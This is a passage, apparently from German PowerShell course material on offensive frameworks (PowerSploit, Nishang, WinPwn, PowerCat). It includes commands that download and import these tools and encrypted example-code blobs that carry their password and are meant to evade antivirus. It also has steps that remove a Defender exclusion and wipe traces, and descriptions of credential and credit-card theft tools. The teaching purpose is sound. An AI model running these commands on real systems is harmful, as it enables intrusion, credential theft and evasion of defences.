accounts pushed through Group Policy Preferences. Get-GPPAutologon => Retrieves Autologon username and password from registry.xml if pushed through Group Policy Preferences. ! Get-TimedScreenshot => A function that takes screenshots at a regular interval and saves them to a folder. New-VolumeShadowCopy => Creates a new volume shadow copy. Get-VolumeShadowCopy => Lists the device paths of all local volume shadow copies. Mount-VolumeShadowCopy => Mounts a volume shadow copy. Remove-VolumeShadowCopy => Deletes a volume shadow copy. ! Get-VaultCredential => Displays Windows vault credential objects including ClearText web credentials. ! Out-Minidump => Generates a full-memory minidump of a process. # Mayhem Cause general mayhem with PowerShell. Set-MasterBootRecord => Proof of concept code that overwrites the master boot record with the message of your choice. ! Set-CriticalProcess => Causes your machine to blue screen upon exiting PowerShell. # PrivEsc Tools to help with escalating privileges on a target. PowerUp => Clearing house of common privilege escalation checks, along with some weaponization vectors. Recon Tools to aid in the reconnaissance phase of a penetration test. * Invoke-PortScan => Does a simple port scan using regular sockets, based (pretty) loosely on NMap. * Get-HttpStatus => Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. * Invoke-ReverseDnsLookup => Scans an IP address range for DNS PTR records. Export-PowerViewCSV => Misc. helpers Set-MacAttribute => Misc. helpers Copy-ClonedFile => Misc. helpers Get-IPAddress => Misc. helpers Convert-NameToSid => Misc. helpers Convert-SidToName => Misc. helpers Convert-NT4toCanonical => Misc. helpers Convert-CanonicalToNT4 => Misc. helpers ConvertFrom-UACValue => Misc. helpers Get-Proxy => Misc. helpers Get-PathAcl => Misc. helpers Get-NameField => Misc. helpers Convert-LDAPProperty => Misc. helpers Get-DomainSearcher => Domain info functions below. Get-NetDomain => Domain info functions below. Get-NetForest => Domain info functions below. Get-NetForestDomain => Domain info functions below. Get-NetForestCatalog => Domain info functions below. Get-NetDomainController => Domain info functions below. Get-NetUser => "net *" replacements and other fun start below Add-NetUser => "net *" replacements and other fun start below Add-NetGroupUser => "net *" replacements and other fun start below Get-UserProperty => "net *" replacements and other fun start below Find-UserField => "net *" replacements and other fun start below Get-UserEvent => "net *" replacements and other fun start below Get-ObjectAcl => "net *" replacements and other fun start below Add-ObjectAcl => "net *" replacements and other fun start below Invoke-ACLScanner => "net *" replacements and other fun start below Get-GUIDMap => "net *" replacements and other fun start below Get-NetComputer => "net *" replacements and other fun start below Get-ADObject => "net *" replacements and other fun start below Set-ADObject => "net *" replacements and other fun start below Invoke-DowngradeAccount => "net *" replacements and other fun start below Get-ComputerProperty => "net *" replacements and other fun start below Find-ComputerField => "net *" replacements and other fun start below Get-NetOU => "net *" replacements and other fun start below Get-NetSite => "net *" replacements and other fun start below Get-NetSubnet => "net *" replacements and other fun start below Get-DomainSID => "net *" replacements and other fun start below Get-NetGroup => "net *" replacements and other fun start below Get-NetGroupMember => "net *" replacements and other fun start below Get-NetFileServer => "net *" replacements and other fun start below Get-DfsShare => "net *" replacements and other fun start below Get-GptTmpl => GPO related functions. Get-GroupsXML => GPO related functions. Get-NetGPO => GPO related functions. Get-NetGPOGroup => GPO related functions. Find-GPOLocation => GPO related functions. Find-GPOComputerAdmin => GPO related functions. Get-DomainPolicy => GPO related functions. Get-NetLocalGroup => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect). Get-NetShare => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect). Get-NetLoggedon => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect). Get-NetSession => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect). Get-NetRDPSession => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect). Invoke-CheckLocalAdminAccess => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect) Get-LastLoggedOn => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect) Get-CachedRDPConnection => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect) Get-NetProcess => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect) Find-InterestingFile => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect) Invoke-ThreadedFunction => 'Meta'-functions start below Invoke-UserHunter => 'Meta'-functions start below Invoke-StealthUserHunter => 'Meta'-functions start below Invoke-ProcessHunter => 'Meta'-functions start below Invoke-EventHunter => 'Meta'-functions start below Invoke-ShareFinder => 'Meta'-functions start below Invoke-FileFinder => 'Meta'-functions start below Find-LocalAdminAccess => 'Meta'-functions start below Get-ExploitableSystem => 'Meta'-functions start below Invoke-EnumerateLocalAdmin => 'Meta'-functions start below Get-NetDomainTrust => Domain trust functions below. Get-NetForestTrust => Domain trust functions below. Find-ForeignUser => Domain trust functions below. Find-ForeignGroup => Domain trust functions below. Invoke-MapDomainTrust => Domain trust functions below. Recon\Dictionaries A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources. admin.txt => http://cirt.net/nikto2/ generic.txt => http://sourceforge.net/projects/yokoso/files/yokoso-0.1/ SharePoint.txt => http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/ #> # ! Module etablieren: Invoke-WebRequest -Uri "https://github.com/PowerShellMafia/PowerSploit/archive/v3.0.0.zip" -OutFile "C:\Temp\PowerSploit.zip" Expand-Archive -Path ".\PowerSploit.zip" -DestinationPath ".\" Rename-Item -Path ".\PowerSploit-3.0.0" -NewName "PowerSploit" Import-Module -Name ".\PowerSploit\PowerSploit.psd1" -Force -Verbose # TODO Beispiel-Code entschlüsseln (nötig da sonst der Virenscanner diese Datei löscht): $Kryptonite = Get-PfxCertificate -FilePath ".\Kryptonite.pfx" # TODO Das Passwort lautet: P@ssw0rd @" -----BEGIN CMS----- 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 PZLhaRYMGIV3+65+2wCH08FD -----END CMS----- "@ | Unprotect-CmsMessage -To $Kryptonite | Set-Clipboard # TODO Der entschlüsselte Code liegt jetzt in der Zwischenablage! # ! Aufräumen und alle Spuren beseitigen: Remove-Module -Name "PowerSploit" -Force -Verbose Set-Location -Path $env:USERPROFILE Remove-MpPreference -ExclusionPath "C:\Temp" -Force Remove-Item -Path "C:\Temp" -Recurse -Force Remove-Variable -Name LoadLibrary, Address, p -Force #endregion #region # ? Nishang # * Nishang ist ein Penetration-Testing-Framework basierend PowerShell. # * Letztes Update: 2018 # * Quelle: https://github.com/samratashok/nishang # * Beschreibung <# Nishang ist in den verschiedenen Phasen eines Sicherheitsauditprozesses nützlich und verfügt Skripte wie der Informationsbeschaffung, des Scannens, der Berechtigungserweiterung und viele mehr. Nützliche Links: https://n0where.net/powershell-penetration-testing-framework-nishang https://serenity-networks.com/hacking-in-windows-using-nishang-with-windows-powershell #> # ! 1. Nishang etablieren: Invoke-WebRequest -Uri ("https://github.com/samratashok/nis"+"hang/archive/master.zip") -OutFile (".\nis"+"hang.zip") Expand-Archive -Path (".\nis" + "hang.zip") -DestinationPath "." -Force Rename-Item -Path (".\nis" + "hang-master") -NewName "nishang" -Force Get-ChildItem -Path (".\nis" + "hang") -Recurse | Unblock-File Import-Module -Name ".\nishang\nishang.psm1" -Force -Verbose # ? Übersicht Get-Command -Module nishang | Out-GridView -OutputMode Multiple | Get-Help -ShowWindow Show-Command # TODO Beispiel-Code entschlüsseln (nötig da sonst der Virenscanner diese Datei löscht): $Kryptonite = Get-PfxCertificate -FilePath ".\Kryptonite.pfx" # TODO Das Passwort lautet: P@ssw0rd @" -----BEGIN CMS----- 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 yyTtVIMUo8qFCNQbGMZTyg== -----END CMS----- "@ | Unprotect-CmsMessage -To $Kryptonite | Set-Clipboard # TODO Der entschlüsselte Code liegt jetzt in der Zwischenablage! #endregion #region # ? WinPwn # * Automation For Internal Windows Penetrationtest / AD-Security # * Letztes Update: 2020 # * Quelle: https://github.com/S3cur3Th1sSh1t/WinPwn # * Beschreibung <# Der Autor schreibt über sein Penetrationstests: "In vielen früheren internen Penetrationstests hatte ich häufig Probleme mit den vorhandenen Powershell Recon / Exploitation-Skripten, da die Proxy-Unterstützung fehlte. Ich habe oft die gleichen Skripte nacheinander ausgeführt, um Informationen über das aktuelle System und / oder die Domäne zu erhalten. Um möglichst viele interne Penetrationstest-Prozesse (Aufklärung sowie Ausnutzung) und aus Proxy-Gründen zu automatisieren, habe ich ein eigenes Skript mit automatischer Proxy-Erkennung und -Integration geschrieben. Das Skript basiert hauptsächlich auf bekannten großen anderen anstößigen Security-Powershell-Projekten. Sie werden über IEX Downloadstring in den RAM geladen." #> Invoke-WebRequest -Uri ("https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/ObfusWinPwn.ps1") -OutFile ("ObfusWinPwn.ps1") Import-Module -Name ".\ObfusWinPwn.ps1" -Force -Verbose #endregion <# PowerCat https://github.com/besimorhino/powercat PowerCat wurde im September 2014 auf der Konferenz DerbyCon von Mick Douglas vorgestellt [7]. Es implementiert die Funktionen von NetCat in reinem PowerShell, ohne dass besondere Systemvoraussetzungen NetCat – außer dem Vorhandensein von PowerShell in mindestens Version 2.0. NetCat ist ein einfaches, bei Administratoren und Angreifern gleichermaßen beliebtes Dienstprogramm, das Daten von der Standardeingabe und Standardausgabe über Netzwerkverbindungen überträgt. Der Funktionsumfang neuerer Versionen von PowerCat übersteigt inzwischen den von NetCat [8, S. 2]. Die reine Implementierung in PowerShell verhindert die Erkennung durch Malwarescanner und Host-basierte Einbruchserkennungssysteme, die NetCat-Varianten in Binärform in der Regel zuverlässig aufspüren. Die dadurch mögliche NetCat-Funktionalität – gleichermaßen als Server wie als Client unterschiedliche Systeme miteinander zu verbinden – hilft echten Angreifern und Pentestern im Zielnetzwerk beim Überwinden einer weiteren technischen Sicherheitsmaßnahme, der Segmentierung eines Unternehmensnetzwerks in stärker und schwächer geschützte Bereiche. PowerMemory https://github.com/giMini/PowerMemory PowerMemory wurde im Juli 2015 von Pierre-Alexandre Braeken veröffentlicht und ermöglicht den Diebstahl von Zugangsdaten aus dem Arbeitsspeicher. Dazu muss es im Gegensatz zu ähnlichen Ansätzen keinen bösartigen Code in andere Prozesse injizieren, in denen diese Zugangsdaten verwaltet werden. Stattdessen erstellt es ein Abbild des kompletten Arbeitsspeichers, sucht Speicherbereiche mit den verschlüsselten Zugangsdaten, entschlüsselt sie und übertragt die gefundenen Passwörter und Hashes an den Angreifer [10]. Abbildung 5: Protokoll von PowerMemory mit ausgelesenen Zugangsdaten (Quelle: https://securityaffairs.co/wordpress/39721/hacking/powermemory-extract-credentials.html) PowerMemory zeichnet sich dadurch aus, dass es zwar auf Binärdateien zurückgreift, jedoch nur von Microsoft selbst erstellte und digital signierte Programme startet. Dadurch bleibt es von Malwarescannern und ähnlichen Sicherheitslösungen unentdeckt [11, S. 14]. PowerShell Memory Scraping for Credit Cards https://www.shellntel.com/blog/2015/9/16/powershell-cc-memory-scraper Beachtenswert für echte Angreifer wie für Pentester, die die Ziele eines profitorientierten Angreifers möglichst realitätsnah simulieren wollen, ist das PowerShell-Skript Memory Scraping von Casey Cammilleri aus dem September 2015. Das Skript sucht im Arbeitsspeicher eines angegebenen Prozesses nach Kreditkartennummern und kann diese etwa auslesen, wenn in einem Browser ein Bestellformular mit Zahlungsdaten ausgefüllt wurde. Anschließend übertragt es die gefundenen Kreditkartendaten an einen Webserver, der vom Angreifer kontrolliert wird [12]. Das kompakte Skript übernimmt Codeteile von PowerSploit. Abbildung 6: Auslesen von Kreditkartendaten mit PowerShell Memory Scraper (Quelle: https://www.shellntel.com/blog/2015/9/16/powershell-cc-memory-scraper) Das Metasploit-Framework des amerikanischen Herstellers Rapid7 ist das Standard-Test- und Angriffswerkzeug von professionellen Penetrations-Testern. Von Pentestern oder Administratoren im eigenen Netzwerk eingesetzt, kann Metasploit Schwachstellen finden und insbesondere ausnutzen [13, S. 60]. Auch echte, böswillige Angreifer setzen es für ihre Zwecke ein [14]. Module sind wichtige Bestandteile des Metasploit-Frameworks, dessen Architektur in Abbildung 3 gezeigt wird. Exploits ist das bekannteste Modul; es enthält eine Vielzahl an hochwertigen und übersichtlichen kategorisierten Schadprogrammen, die konkrete Schwachstellen in Betriebssystemen und Anwendungen ausnutzen. Schließlich kann sich ein Angreifer zwischen zahlreichen Payloads – also der Nutzlast – seiner Schadsoftware entscheiden; darunter der Standard-Payload Meterpreter. Meterpreter kann einen angegriffenen Rechner umfangreich überwachen und steuern, etwa Screenshots anfertigen, eine eingebaute Webcam aktivieren oder Dateien vom Rechner des Opfers zum Angreifer übertragen. Abbildung 7: Architektur des Metasploit-Frameworks Noch bis Ende 2015 konnte PowerShell innerhalb des Metasploit-Frameworks, beispielsweise in einer Meterpreter-Sitzung auf einem erfolgreich übernommenen Rechner, nur eingeschränkt genutzt werden. Zwar waren auf der Kommandozeile Eingaben möglich, die Antworten wurden jedoch nicht angezeigt – interaktive Sitzungen waren so nicht möglich [15, S. 12]. Die Sicherheitsforscher Ben Turner und Dave Hardy haben Ende 2015 mehrere Module, Payloads sowie weitere Komponenten für das Metasploit-Framework entwickelt und veröffentlicht. Dadurch kann auf einem bereits mit Metasploit und dem Meterpreter-Payload gesteuerten Rechner eine interaktive PowerShell-Sitzung so gestartet werden, als säße der Angreifer vor dem Rechner und der PowerShell-Eingabeaufforderung. Auch in dieser Implementierung haben die Autoren darauf geachtet, keine Binärdateien auf Festplatte abzulegen, alle Skripte nur im Arbeitsspeicher auszuführen und damit ein Erkennen oder Blockieren durch Malwarescanner zu vermeiden. #> # TODO Aufräumen und keine Spuren hinterlassen: Remove-Module -Name "*" -Force -Verbose Remove-MpPreference -ExclusionPath "C:\Temp" -Force $WorkDirectoryBackup | Set-Location Remove-Item -Path "C:\Temp" -Recurse -Force Remove-Variable -Name "WorkDirectoryBackup", "LoadLibrary", "Address", "p" -Force #endregion #region BACKUP # 1. Zertifikat laden. # ! P@ssw0rd $Kryptonite = Get-PfxCertificate -FilePath ".\AKPT\Private\Wissen\X_Technology\X91_Kryptonite.pfx" # ! 2. Verschlüsseln (Zwischenablage => Verschlüsseln => Zwischenablage) Get-Clipboard | Protect-CmsMessage -To $Kryptonite | Set-Clipboard # * 2. Entschlüsseln (Zwischenablage => Entschlüsseln => Zwischenablage) Get-Clipboard | Unprotect-CmsMessage -To $Kryptonite | Set-Clipboard <# -----BEGIN CMS----- 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 